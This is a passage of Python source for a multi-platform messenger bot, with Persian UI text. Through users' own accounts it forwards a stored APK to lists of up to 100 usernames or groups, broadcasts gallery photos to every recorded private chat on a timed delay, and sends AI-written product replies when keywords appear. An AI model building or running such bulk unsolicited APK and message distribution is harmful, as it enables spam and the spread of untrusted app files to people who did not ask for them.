    finally:
        _TRX647_CHANNEL_CTX.reset(token)


if callable(_TRX647_RUN_TASK_BASE):
    trx._trx660_run_task = _trx647_run_task
    trx._trx115_run_task_v14 = _trx647_run_task
    trx._trx115_run_task = _trx647_run_task
    trx._trx_run_task = _trx647_run_task


# ---------------------------------------------------------------------------
# Main hook: memory cleaner + provider health diagnostics.
# ---------------------------------------------------------------------------
async def _trx647_provider_health_once():
    try:
        await asyncio.sleep(5)
        await trx.ai.start()
        await trx.ai.seed()
        rows = _DB().fetchall("SELECT id,name,status FROM ai_providers WHERE api_key!='' AND status!='disabled' ORDER BY priority,id")
        for row in rows:
            try:
                ok, _ = await asyncio.wait_for(trx.ai.test(int(row["id"])), timeout=12)
                _LOG_INFO(f"[TRX647][AI-PROVIDER] {row['name']}={'OK' if ok else 'FAIL'}")
            except Exception as exc:
                _LOG_WARN(f"[TRX647][AI-PROVIDER] {row['name']}: {_mask(str(exc))}")
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _LOG_WARN(f"[TRX647][AI-PROVIDER] bootstrap: {_mask(str(exc))}")


_TRX647_MAIN_BASE = trx.main


async def _trx647_main():
    try:
        _trx647_memory_cleanup()
    except Exception:
        pass
    try:
        _create_task(_trx647_memory_scheduler())
        _create_task(_trx647_provider_health_once())
    except Exception:
        pass
    return await _TRX647_MAIN_BASE()


trx.main = _trx647_main


_LOG_INFO(f"[TRX647] final repair layer installed: {TRX647_BUILD}")


# ═══════════════════════════════════════════════════════════════════════════
# TRX_888 FINAL ADDITIVE OVERLAY
# Built from TRX_647.py — original lines are preserved; this layer only adds
# targeted handlers/overrides for requested fixes.
# ═══════════════════════════════════════════════════════════════════════════

TRX888_BUILD = "2026-09-25-target-gallery-keyword-memory-api"

# ---------------------------------------------------------------------------
# Shared small helpers
# ---------------------------------------------------------------------------
def _trx888_db_commit():
    try:
        _DB().conn.commit()
    except Exception:
        pass


def _trx888_setting_key(*parts):
    return "trx888:" + ":".join(str(x) for x in parts)


def _trx888_json_setting_get(key, default=None):
    try:
        raw = _setting_get(key, "")
        if not raw:
            return default
        return json.loads(raw)
    except Exception:
        return default


def _trx888_json_setting_set(key, value):
    try:
        _setting_set(key, json.dumps(value, ensure_ascii=False))
        return True
    except Exception:
        return False


# ---------------------------------------------------------------------------
# Targeted APK recipients: usernames/IDs + joined groups
# ---------------------------------------------------------------------------
TRX888_TARGET_PREFIX = "trx888.target."
TRX888_TARGET_MAX = 100
_TRX888_TARGET_STATE = {}


def _trx888_apk_source(uid, aid, platform):
    try:
        row = _DB().fetchone(
            "SELECT af.id,src.source_peer,src.source_message_id,src.account_id,src.platform "
            "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
            "WHERE af.user_id=? AND af.enabled=1 AND src.account_id=? AND src.platform=? "
            "ORDER BY af.id DESC LIMIT 1",
            (int(uid), int(aid), str(platform)),
        )
        if row:
            return dict(row)
    except Exception:
        pass
    try:
        row = _DB().fetchone(
            "SELECT af.id,src.source_peer,src.source_message_id,src.account_id,src.platform "
            "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
            "WHERE af.user_id=? AND af.enabled=1 AND src.platform=? "
            "ORDER BY af.id DESC LIMIT 1",
            (int(uid), str(platform)),
        )
        return dict(row) if row else None
    except Exception:
        return None


async def _trx888_get_joined_groups(client, platform):
    """Best-effort cross-platform chat discovery; never joins a group automatically."""
    candidates = []
    for name in ("get_chats", "get_dialogs", "get_groups", "iter_dialogs"):
        fn = getattr(client, name, None) if client is not None else None
        if not callable(fn):
            continue
        try:
            val = fn(limit=200) if name in ("get_chats", "get_dialogs") else fn()
            val = await _awaitable(val)
            if hasattr(val, "__aiter__"):
                arr = []
                async for item in val:
                    arr.append(item)
                    if len(arr) >= 200:
                        break
                val = arr
            if isinstance(val, dict):
                val = val.get("chats") or val.get("dialogs") or val.get("groups") or val.get("items") or val.get("data") or []
            if isinstance(val, (list, tuple)):
                candidates.extend(list(val))
            if candidates:
                break
        except TypeError:
            try:
                val = await _awaitable(fn())
                if isinstance(val, dict):
                    val = val.get("chats") or val.get("dialogs") or val.get("groups") or val.get("items") or []
                if isinstance(val, (list, tuple)):
                    candidates.extend(list(val))
            except Exception:
                pass
        except Exception:
            continue

    out = []
    seen = set()
    for item in candidates:
        try:
            if isinstance(item, dict):
                cid = item.get("id") or item.get("chat_id") or item.get("object_guid") or item.get("group_id") or item.get("peer_id")
                title = item.get("title") or item.get("name") or item.get("display_name") or str(cid or "")
                kind = str(item.get("type") or item.get("chat_type") or item.get("peer_type") or "").lower()
                is_group = bool(item.get("is_group") or item.get("is_supergroup")) or kind in {"group","supergroup","megagroup","chat","groupchat"}
                if not is_group and str(cid or "").startswith(("-100", "g")):
                    is_group = True
            else:
                cid = getattr(item, "id", None) or getattr(item, "chat_id", None) or getattr(item, "object_guid", None) or getattr(item, "group_id", None)
                title = getattr(item, "title", None) or getattr(item, "name", None) or getattr(item, "display_name", None) or str(cid or "")
                kind = str(getattr(item, "type", None) or getattr(item, "chat_type", None) or getattr(item, "peer_type", None) or "").lower()
                is_group = bool(getattr(item, "is_group", False) or getattr(item, "is_supergroup", False)) or kind in {"group","supergroup","megagroup","chat","groupchat"}
                if not is_group and str(cid or "").startswith(("-100", "g")):
                    is_group = True
            if not cid or not is_group:
                continue
            key = str(cid)
            if key in seen:
                continue
            seen.add(key)
            out.append({"id": key, "title": str(title)[:70], "platform": str(platform)})
        except Exception:
            continue

    # Fallback to previously seen groups, still never auto-joins.
    if not out:
        try:
            rows = _DB().fetchall(
                "SELECT DISTINCT group_id FROM trx_keyword_listener WHERE user_id=? AND account_id=? AND platform=? AND group_id<>'__all__' LIMIT 100",
                (int(_TRX888_TARGET_STATE.get("uid", 0)), int(_TRX888_TARGET_STATE.get("aid", 0)), str(platform)),
            )
            for r in rows:
                gid = str(r["group_id"] or "").strip()
                if gid and gid not in seen:
                    out.append({"id": gid, "title": gid[:70], "platform": str(platform)})
        except Exception:
            pass
    return out[:TRX888_TARGET_MAX]


def _trx888_parse_lines(raw, max_items=TRX888_TARGET_MAX):
    seen = set(); out = []
    for line in str(raw or "").splitlines():
        v = line.strip().strip(",;")
        if not v:
            continue
        if v not in seen:
            seen.add(v); out.append(v)
        if len(out) >= max_items:
            break
    return out


async def _trx888_target_worker(uid, aid, platform, targets, base_text, batch_id, chat_id, lang):
    source = _trx888_apk_source(uid, aid, platform)
    if not source:
        return await _BOT().send(chat_id, "❌ برای این اکانت/پلتفرم منبع APK فعالی پیدا نشد. ابتدا از «ارسال APK» یک APK ثبت کن.")
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    if client is None:
        return await _BOT().send(chat_id, "❌ اکانت انتخاب‌شده در دسترس نیست.")

    success = failed = 0
    for idx, target in enumerate(targets):
        ok = False
        try:
            ok, info = await _apkfix_do_forward(
                client,
                str(source.get("source_peer") or ""),
                str(source.get("source_message_id") or ""),
                str(target),
                platform,
            )
            if not ok:
                raise RuntimeError(str(info)[:300])
            if str(base_text or "").strip():
                send = getattr(client, "send_message", None)
                if not callable(send):
                    raise RuntimeError("send_message unavailable")
                await _awaitable(send(str(target), str(base_text).strip()))
            success += 1
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            failed += 1
            _LOG_WARN(f"[TRX888][target] {target}: {_mask(str(exc))}")
        try:
            _DB().execute(
                "INSERT INTO trx222b_bulk_log(user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at) VALUES(?,?,?,?,?,?,?,?)",
                (int(uid), int(aid), str(platform), str(target), str(base_text)[:500], 1 if ok else 0, batch_id, trx.now()),
            )
        except Exception:
            pass
        if idx < len(targets)-1:
            await asyncio.sleep(7)

    return await _BOT().send(
        chat_id,
        TRX_UI_STYLE.report("گزارش ارسال APK به اهداف", {"موفق": success, "ناموفق": failed, "کل": len(targets), "پلتفرم": _platform_label(platform, lang)}),
        reply_markup=_trx647_menu(lang, uid),
    )


async def _trx888_target_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    ds = str(data or "")
    if not ds.startswith(TRX888_TARGET_PREFIX):
        return None
    await _safe_answer(cb_id)
    st = _TRX888_TARGET_STATE.get(int(uid), {})
    try:
        if ds == TRX888_TARGET_PREFIX + "users":
            st.update({"state":"users", "targets":[], "created":time.time()})
            _TRX888_TARGET_STATE[int(uid)] = st
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("ارسال APK", "هدف‌های خصوصی", "آیدی/یوزرنیم‌ها را خطی بفرست؛ مثل @IRAN\n@SASA", "حداکثر ۱۰۰ مورد"), _IKB([[('❌ لغو', 'apkfix.cancel', 'danger')]]))
        if ds == TRX888_TARGET_PREFIX + "groups":
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("ارسال در گروه هدف", ["نوع انتخاب گروه را مشخص کن"]), _IKB([
                [("🔗 لینک گروه‌ها (خطی)", TRX888_TARGET_PREFIX + "group_links", "primary")],
                [("📋 گروه‌های جوین‌شده اکانت", TRX888_TARGET_PREFIX + "joined", "primary")],
                [("↩️ بازگشت", TRX888_TARGET_PREFIX + "menu", "primary")],
            ]))
        if ds == TRX888_TARGET_PREFIX + "group_links":
            st.update({"state":"group_links","targets":[],"created":time.time()}); _TRX888_TARGET_STATE[int(uid)] = st
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("گروه هدف", "ورود لینک‌ها", "هر لینک را در یک خط بفرست", "حداکثر ۱۰۰ لینک؛ ربات خودش به گروه جوین نمی‌شود"), _IKB([[('❌ لغو','apkfix.cancel','danger')]]))
        if ds == TRX888_TARGET_PREFIX + "joined":
            _TRX888_TARGET_STATE["uid"] = int(uid); _TRX888_TARGET_STATE["aid"] = int(st.get("aid") or 0)
            groups = await _trx888_get_joined_groups(trx.ai_live_clients.get((int(uid), int(st.get("aid") or 0))), str(st.get("platform") or ""))
            st["state"] = "joined_select"; st["groups"] = groups; st["selected"] = []
            _TRX888_TARGET_STATE[int(uid)] = st
            rows = []
            for i,g in enumerate(groups[:100]):
                rows.append([(f"☐ {g['title']}", f"{TRX888_TARGET_PREFIX}toggle:{i}", "primary")])
            rows.append([('✅ ادامه', TRX888_TARGET_PREFIX + 'joined_confirm', 'success')])
            rows.append([('↩️ بازگشت', TRX888_TARGET_PREFIX + 'groups', 'primary')])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("گروه‌های اکانت", [f"{len(groups)} گروه شناسایی شد", "گروه‌های موردنظر را انتخاب کن"]), _IKB(rows))
        if ds.startswith(TRX888_TARGET_PREFIX + "toggle:"):
            idx = int(ds.split(":",1)[1]); groups = st.get("groups") or []
            if idx < 0 or idx >= len(groups): return None
            sel = set(map(str, st.get("selected") or [])); gid = str(groups[idx]["id"])
            if gid in sel: sel.remove(gid)
            else: sel.add(gid)
            st["selected"] = list(sel); _TRX888_TARGET_STATE[int(uid)] = st
            rows=[]
            for i,g in enumerate(groups[:100]):
                mark = "✅" if str(g['id']) in sel else "☐"
                rows.append([(f"{mark} {g['title']}", f"{TRX888_TARGET_PREFIX}toggle:{i}", "primary")])
            rows.append([('✅ ادامه', TRX888_TARGET_PREFIX + 'joined_confirm', 'success')])
            rows.append([('↩️ بازگشت', TRX888_TARGET_PREFIX + 'groups', 'primary')])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("انتخاب گروه", [f"انتخاب‌شده: {len(sel)}"]), _IKB(rows))
        if ds == TRX888_TARGET_PREFIX + "joined_confirm":
            selected = [str(x) for x in (st.get("selected") or []) if str(x).strip()]
            if not selected:
                return await _safe_edit(chat_id, msg_id, "❌ حداقل یک گروه را انتخاب کن.", _IKB([[('↩️ بازگشت', TRX888_TARGET_PREFIX + 'joined', 'primary')]]))
            st["state"]="group_text"; st["targets"]=selected; _TRX888_TARGET_STATE[int(uid)] = st
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("ارسال در گروه هدف", "مرحله آخر", "متن بعد از فوروارد را بفرست؛ خالی هم می‌توانی «بدون متن» انتخاب کنی", "ابتدا APK هدایت می‌شود"), _IKB([[('📎 بدون متن', TRX888_TARGET_PREFIX+'confirm', 'primary')],[('❌ لغو','apkfix.cancel','danger')]]))
        if ds == TRX888_TARGET_PREFIX + "confirm":
            st2 = dict(_TRX888_TARGET_STATE.get(int(uid), {}))
            targets = _trx888_parse_lines("\n".join(st2.get("targets") or []))
            if not targets:
                return await _safe_edit(chat_id,msg_id,"❌ هدفی انتخاب نشده.",_trx647_menu(lang,uid))
            aid2=int(st2.get("aid") or 0)
            plat2=str(st2.get("platform") or "")
            base2=str(st2.get("base_text") or "")
            _TRX888_TARGET_STATE.pop(int(uid),None)
            batch=f"trx888-target-{uid}-{aid2}-{int(time.time())}"
            await _safe_edit(chat_id,msg_id,f"⏳ ارسال به {len(targets)} هدف شروع شد...",_IKB([[('↩️ بازگشت','ai','primary')]]))
            _create_task(_trx888_target_worker(uid, aid2, plat2, targets, base2, batch, chat_id, lang))
            return True
        if ds == TRX888_TARGET_PREFIX + "menu":
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("هدف ارسال APK", ["نوع مقصد را انتخاب کن"]),_IKB([
                [("👤 آیدی/یوزرنیم افراد", TRX888_TARGET_PREFIX+'users','primary')],
                [("👥 گروه هدف", TRX888_TARGET_PREFIX+'groups','primary')],
                [("▶️ ادامه ارسال معمول APK", 'apkfix.standard','primary')],
                [("↩️ بازگشت",'apkfix.start','primary')],
            ]))
        return None
    except Exception as exc:
        _LOG_ERR(f"[TRX888][target-dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id,msg_id,"⚠️ خطا در بخش اهداف APK.",_trx647_menu(lang,uid))


async def _trx888_target_on_msg(msg):
    uid=(msg.get("from") or {}).get("id"); chat_id=(msg.get("chat") or {}).get("id")
    txt=str(msg.get("text") or "").strip()
    if not uid or not chat_id or not txt or txt.startswith("/"):
        return None
    st=_TRX888_TARGET_STATE.get(int(uid))
    if not st: return None
    state=str(st.get("state") or "")
    try:
        if state == "users":
            targets=_trx888_parse_lines(txt)
            if not targets: return await _BOT().send(chat_id,"❌ حداقل یک آیدی/یوزرنیم بفرست.")
            st.update({"state":"users_text","targets":targets}); _TRX888_TARGET_STATE[int(uid)]=st
            return await _BOT().send(chat_id,TRX_UI_STYLE.wizard("ارسال APK", "متن", f"{len(targets)} هدف ثبت شد. متن بعد از فوروارد را بفرست", "می‌توانی بدون متن هم ارسال کنی"),reply_markup=_IKB([[('📎 بدون متن',TRX888_TARGET_PREFIX+'confirm','primary')],[('❌ لغو','apkfix.cancel','danger')]]))
        if state == "group_links":
            targets=_trx888_parse_lines(txt)
            if not targets: return await _BOT().send(chat_id,"❌ حداقل یک لینک بفرست.")
            st.update({"state":"group_text","targets":targets}); _TRX888_TARGET_STATE[int(uid)]=st
            return await _BOT().send(chat_id,TRX_UI_STYLE.wizard("ارسال در گروه هدف","متن",f"{len(targets)} گروه ثبت شد. متن بعد از فوروارد را بفرست","هر لینک در یک خط"),reply_markup=_IKB([[('📎 بدون متن',TRX888_TARGET_PREFIX+'confirm','primary')],[('❌ لغو','apkfix.cancel','danger')]]))
        if state in ("users_text","group_text"):
            st["base_text"] = txt
            targets=_trx888_parse_lines("\n".join(st.get("targets") or []))
            _TRX888_TARGET_STATE[int(uid)]=st
            return await _BOT().send(chat_id,TRX_UI_STYLE.confirm("ارسال APK",[f"تعداد هدف: {len(targets)}",f"پلتفرم: {_platform_label(st.get('platform'), trx.get_lang(uid) or 'fa')}",f"اکانت: #{st.get('aid')}"],"بعد از فوروارد، متن ارسال می‌شود"),reply_markup=_IKB([[('✅ تأیید',TRX888_TARGET_PREFIX+'confirm','success'),('❌ لغو','apkfix.cancel','danger')]]))
    except Exception as exc:
        _LOG_WARN(f"[TRX888][target-on-msg] {_mask(str(exc))}")
        return await _BOT().send(chat_id,"⚠️ ورودی اهداف پردازش نشد.")
    return None


# ---------------------------------------------------------------------------
# Gallery: explicit video button + global send command + first-touch photo.
# ---------------------------------------------------------------------------
TRX888_GALLERY_PREFIX = GALLERY_PREFIX
TRX888_FIRST_TOUCH_KEY = _trx888_setting_key("gallery", "first_touch")


def _trx888_mark_first_touch(uid, aid, platform, peer):
    try:
        cur = _DB().execute(
            "INSERT OR IGNORE INTO trx888_gallery_first_touch(user_id,account_id,platform,peer_id,created_at) VALUES(?,?,?,?,?)",
            (int(uid),int(aid),str(platform),str(peer),trx.now()),
        )
        _trx888_db_commit()
        return int(cur.rowcount or 0) > 0
    except Exception:
        return False


def _trx888_first_touch_seen(uid, aid, platform, peer):
    try:
        return bool(_DB().fetchone("SELECT 1 FROM trx888_gallery_first_touch WHERE user_id=? AND account_id=? AND platform=? AND peer_id=? LIMIT 1",(int(uid),int(aid),str(platform),str(peer))))
    except Exception:
        return False


async def _trx888_send_first_photo(uid, aid, platform, peer, client):
    if not client or not peer or _trx888_first_touch_seen(uid,aid,platform,peer):
        return False
    photos=_gallery_get_photos(uid,aid,platform)
    if not photos: return False
    photo=sorted(photos,key=lambda x:int(x.get("photo_index") or 0))[0]
    try:
        ok,_=await _gallery_do_forward(client,platform,photo,peer)
        if not ok:
            link=str(photo.get("photo_link") or "")
            for name,args,kwargs in (
                ("send_photo",(peer,link),{}),
                ("send_file",(peer,link),{}),
            ):
                fn=getattr(client,name,None)
                if not callable(fn): continue
                try:
                    await _awaitable(fn(*args,**kwargs)); ok=True; break
                except Exception: pass
        if ok:
            _trx888_mark_first_touch(uid,aid,platform,peer)
            _gallery_increment(uid,aid,platform,peer)
            _LOG_INFO(f"[TRX888][gallery-first] uid={uid} aid={aid} platform={platform} peer={peer} OK")
            return True
    except Exception as exc:
        _LOG_WARN(f"[TRX888][gallery-first] {_mask(str(exc))}")
    return False


async def _trx888_gallery_broadcast_worker(uid,aid,platform,chat_id,lang):
    client=trx.ai_live_clients.get((int(uid),int(aid)))
    if client is None:
        try: client=await trx._ensure_ai_client(int(uid),int(aid))
        except Exception: client=None
    if client is None: return await _BOT().send(chat_id,"❌ اکانت در دسترس نیست.")
    photos=_gallery_get_photos(uid,aid,platform)
    if not photos: return await _BOT().send(chat_id,"❌ برای این اکانت عکسی در گالری ثبت نشده.")
    rows=_DB().fetchall("SELECT DISTINCT peer_id FROM trx01_known_peers WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private' ORDER BY last_seen DESC",(int(uid),int(aid),str(platform)))
    peers=[]; seen=set()
    for r in rows:
        p=str(r["peer_id"] or "").strip()
        if p and p not in seen: seen.add(p); peers.append(p)
    if not peers: return await _BOT().send(chat_id,"❌ هیچ گفت‌وگوی خصوصی ثبت‌شده‌ای برای این اکانت پیدا نشد.")
    sent=failed=0
    for idx,peer in enumerate(peers):
        ok=False
        try:
            for photo in sorted(photos,key=lambda x:int(x.get("photo_index") or 0)):
                fok,_=await _gallery_do_forward(client,platform,photo,peer)
                if not fok:
                    link=str(photo.get("photo_link") or "")
                    fn=getattr(client,"send_photo",None)
                    if callable(fn):
                        try: await _awaitable(fn(peer,link)); fok=True
                        except Exception: pass
                ok = ok or bool(fok)
            if ok: sent+=1
            else: failed+=1
        except Exception as exc:
            failed+=1; _LOG_WARN(f"[TRX888][gallery-broadcast] {peer}: {_mask(str(exc))}")
        if idx < len(peers)-1: await asyncio.sleep(7)
    return await _BOT().send(chat_id,TRX_UI_STYLE.report("گزارش ارسال گالری به گفت‌وگوها",{"موفق":sent,"ناموفق":failed,"کل":len(peers),"پلتفرم":_platform_label(platform,lang)}),reply_markup=_trx647_menu(lang,uid))


async def _trx888_gallery_dispatch(cb_id,uid,lang,u,chat_id,msg_id,data):
    ds=str(data or "")
    if not ds.startswith(GALLERY_PREFIX) and not ds.startswith(TRX888_TARGET_PREFIX+"gallery"):
        return None
    await _safe_answer(cb_id)
    try:
        if ds == GALLERY_PREFIX+"start":
            rows=_DB().fetchall("SELECT account_id,platform,COUNT(*) c FROM trx_apk_gallery WHERE user_id=? GROUP BY account_id,platform",(int(uid),))
            vids=_DB().fetchall("SELECT account_id,platform FROM trx_apk_gallery_video WHERE user_id=?",(int(uid),))
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("گالری APK",[f"🖼 عکس‌های ثبت‌شده: {sum(int(r['c'] or 0) for r in rows)}",f"🎬 ویدیوهای ثبت‌شده: {len(vids)}"]),_IKB([
                [("➕ افزودن / ویرایش عکس",GALLERY_PREFIX+"setup","primary")],
                [("🎬 ➕ افزودن ویدیو",GALLERY_PREFIX+"addvideo","primary")],
                [("📤 ارسال عکس به گفت‌وگوهای ثبت‌شده",GALLERY_PREFIX+"broadcast","primary")],
                [("🗑 حذف ویدیوهای ثبت‌شده",GALLERY_PREFIX+"remove.video","danger")],
                [("↩️ بازگشت","ai","primary")],
            ]))
        if ds == GALLERY_PREFIX+"addvideo":
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("افزودن ویدیو به گالری",["پلتفرم را انتخاب کن"]),_IKB([
                [("🔵 روبیکا",GALLERY_PREFIX+"video.plat:rubika","primary"),("🔴 سروش پلاس",GALLERY_PREFIX+"video.plat:soroush","danger")],
                [("🟡 بله",GALLERY_PREFIX+"video.plat:bale","primary"),("🟦 تلگرام",GALLERY_PREFIX+"video.plat:telegram","primary")],
                [("🟩 شاد",GALLERY_PREFIX+"video.plat:shad","success")],
                [("↩️ بازگشت",GALLERY_PREFIX+"start","primary")],
            ]))
        if ds.startswith(GALLERY_PREFIX+"video.plat:"):
            plat=_trx647_platform(ds.split(":",1)[1]); rows=_DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",(int(uid),plat)) if plat else []
            buttons=[[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}",f"{GALLERY_PREFIX}video.acc:{int(r['id'])}:{plat}","primary")] for r in rows]
            buttons.append([('↩️ بازگشت',GALLERY_PREFIX+'addvideo','primary')])
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat,lang)}",["برای این اکانت یک ویدیو ثبت می‌شود"]),_IKB(buttons))
        if ds.startswith(GALLERY_PREFIX+"video.acc:"):
            aid,plat=_trxj_parse_account_callback(ds,GALLERY_PREFIX+"video.")
            if aid is None or not _trxj_validate_account(uid,aid,plat):
                return await _safe_edit(chat_id,msg_id,"❌ اکانت نامعتبر.",_trx647_menu(lang,uid))
            _TRX888_TARGET_STATE[int(uid)]={"state":"gallery_video","aid":aid,"platform":plat,"created":time.time()}
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.wizard("افزودن ویدیو","مرحله آخر","لینک مستقیم ویدیوی منبع را بفرست","حداکثر یک ویدیو برای هر اکانت/پلتفرم"),_IKB([[('❌ لغو','apkfix.cancel','danger')]]))
        if ds == GALLERY_PREFIX+"broadcast":
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("ارسال گالری به گفت‌وگوها",["اول پلتفرم و اکانت را انتخاب کن"]),_IKB([
                [("🔵 روبیکا",GALLERY_PREFIX+"broadcast.plat:rubika","primary"),("🔴 سروش پلاس",GALLERY_PREFIX+"broadcast.plat:soroush","danger")],
                [("🟡 بله",GALLERY_PREFIX+"broadcast.plat:bale","primary"),("🟦 تلگرام",GALLERY_PREFIX+"broadcast.plat:telegram","primary")],
                [("🟩 شاد",GALLERY_PREFIX+"broadcast.plat:shad","success")],
            ]))
        if ds.startswith(GALLERY_PREFIX+"broadcast.plat:"):
            plat=_trx647_platform(ds.split(":",1)[1]); rows=_DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",(int(uid),plat)) if plat else []
            buttons=[[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}",f"{GALLERY_PREFIX}broadcast.acc:{int(r['id'])}:{plat}","primary")] for r in rows]
            buttons.append([('↩️ بازگشت',GALLERY_PREFIX+'broadcast','primary')])
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat,lang)}",["ارسال فقط به گفت‌وگوهای خصوصی ثبت‌شده"]),_IKB(buttons))
        if ds.startswith(GALLERY_PREFIX+"broadcast.acc:"):
            aid,plat=_trxj_parse_account_callback(ds,GALLERY_PREFIX+"broadcast.")
            if aid is None or not _trxj_validate_account(uid,aid,plat): return await _safe_edit(chat_id,msg_id,"❌ اکانت نامعتبر.",_trx647_menu(lang,uid))
            photos=_gallery_get_photos(uid,aid,plat)
            peers=_DB().fetchall("SELECT DISTINCT peer_id FROM trx01_known_peers WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private'",(int(uid),int(aid),str(plat)))
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.confirm("ارسال گالری",[f"عکس‌های ثبت‌شده: {len(photos)}",f"گفت‌وگوهای خصوصی: {len(peers)}",f"پلتفرم: {_platform_label(plat,lang)}"],"بعد از تأیید برای گفت‌وگوهای ثبت‌شده ارسال می‌شود"),_IKB([[('✅ تأیید',f"{GALLERY_PREFIX}broadcast.confirm:{int(aid)}:{plat}",'success'),('❌ لغو','apkfix.cancel','danger')]]))
        if ds.startswith(GALLERY_PREFIX+"broadcast.confirm:"):
            aid,plat=_trxj_parse_account_callback(ds.replace(GALLERY_PREFIX+"broadcast.confirm:",GALLERY_PREFIX+"broadcast.acc:"),GALLERY_PREFIX+"broadcast.")
            if aid is None: return None
            await _safe_edit(chat_id,msg_id,"⏳ ارسال گالری به گفت‌وگوهای ثبت‌شده شروع شد...")
            _create_task(_trx888_gallery_broadcast_worker(uid,aid,plat,chat_id,lang)); return True
    except Exception as exc:
        _LOG_ERR(f"[TRX888][gallery-dispatch] {_mask(str(exc))}")
    return None


async def _trx888_gallery_on_msg(msg):
    uid=(msg.get("from") or {}).get("id"); chat_id=(msg.get("chat") or {}).get("id")
    txt=str(msg.get("text") or "").strip()
    if not uid or not chat_id or not txt: return None
    st=_TRX888_TARGET_STATE.get(int(uid))
    if st and st.get("state") == "gallery_video":
        try:
            aid=int(st["aid"]); plat=str(st["platform"])
            if txt.lower()=="/done":
                _TRX888_TARGET_STATE.pop(int(uid),None); return await _BOT().send(chat_id,"✓ ویدیوگالری بدون تغییر ذخیره شد.")
            client=trx.ai_live_clients.get((int(uid),aid)) or await trx._ensure_ai_client(int(uid),aid)
            ok,reason,obj,source_peer=await _trx647_get_source_message(client,plat,txt)
            if not ok: return await _BOT().send(chat_id,f"❌ {reason}")
            if _trx647_media_kind(obj) != "video": return await _BOT().send(chat_id,"❌ لینک ارسالی ویدیو نیست.")
            mid=_trx647_parse_message_link(plat,txt)[2]
            row=_DB().fetchone("SELECT id FROM trx_apk_gallery_video WHERE user_id=? AND account_id=? AND platform=?",(int(uid),aid,plat))
            if row: return await _BOT().send(chat_id,"❌ برای این اکانت/پلتفرم ویدیو قبلاً ثبت شده.")
            _DB().execute("INSERT OR REPLACE INTO trx_apk_gallery_video(user_id,account_id,platform,source_peer,source_message_id,video_link,created_at) VALUES(?,?,?,?,?,?,?)",(int(uid),aid,plat,str(source_peer or ""),str(mid),txt,trx.now()))
            _trx888_db_commit(); _TRX888_TARGET_STATE.pop(int(uid),None)
            return await _BOT().send(chat_id,"✓ ویدیو گالری ثبت شد.",reply_markup=_trx647_menu(trx.get_lang(uid) or 'fa',uid))
        except Exception as exc:
            _TRX888_TARGET_STATE.pop(int(uid),None); _LOG_ERR(f"[TRX888][gallery-on-msg] {_mask(str(exc))}"); return await _BOT().send(chat_id,"⚠️ خطا در ثبت ویدیو گالری.")
    return None


# ---------------------------------------------------------------------------
# Keyword watcher: exact configured words, group + PV, optional APK reply.
# ---------------------------------------------------------------------------
TRX888_KWL_PREFIX = "trx888.kwl."
_TRX888_KWL_STATE = {}


def _trx888_kwords_get(uid,aid,platform):
    data=_trx888_json_setting_get(_trx888_setting_key("kwl","words",uid,aid,platform),[])
    return [str(x).strip() for x in data if str(x).strip()] if isinstance(data,list) else []


def _trx888_kwords_set(uid,aid,platform,words):
    return _trx888_json_setting_set(_trx888_setting_key("kwl","words",uid,aid,platform),list(dict.fromkeys([str(x).strip() for x in words if str(x).strip()])))


def _trx888_kword_enabled(uid,aid,platform):
    return str(_setting_get(_trx888_setting_key("kwl","enabled",uid,aid,platform),"1")) != "0"


def _trx888_kwl_apk_id(uid,aid,platform):
    try: return int(_setting_get(_trx888_setting_key("kwl","apk",uid,aid,platform),"0") or 0)
    except Exception: return 0


def _trx888_kwl_apk_enabled(uid,aid,platform):
    return str(_setting_get(_trx888_setting_key("kwl","apk_enabled",uid,aid,platform),"0")) == "1"


def _trx888_keyword_match(text,words):
    low=str(text or "").casefold()
    for word in words:
        if str(word).casefold() in low:
            return str(word)
    return ""


async def _trx888_kwl_reply(uid,aid,platform,peer,text,keyword,event,client):
    try:
        sender_id=""
        try: sender_id=str(getattr(event,"sender_id",None) or getattr(event,"user_id",None) or "")
        except Exception: pass
        key=_trx888_setting_key("kwl","last",uid,aid,platform,sender_id or peer)
        last=float(_setting_get(key,"0") or 0)
        if time.time()-last < 3600: return False
        _setting_set(key,str(time.time()))

        sys_prompt=_ai_system(uid,aid,"kwl_keyword_reply",f"کلمه کلیدی: {keyword}. متن کاربر: {text[:500]}. درباره محصول/برنامه توضیح کوتاه و مرتبط بده؛ بدون ادعای هویت جعلی و بدون تکرار بی‌مورد.")
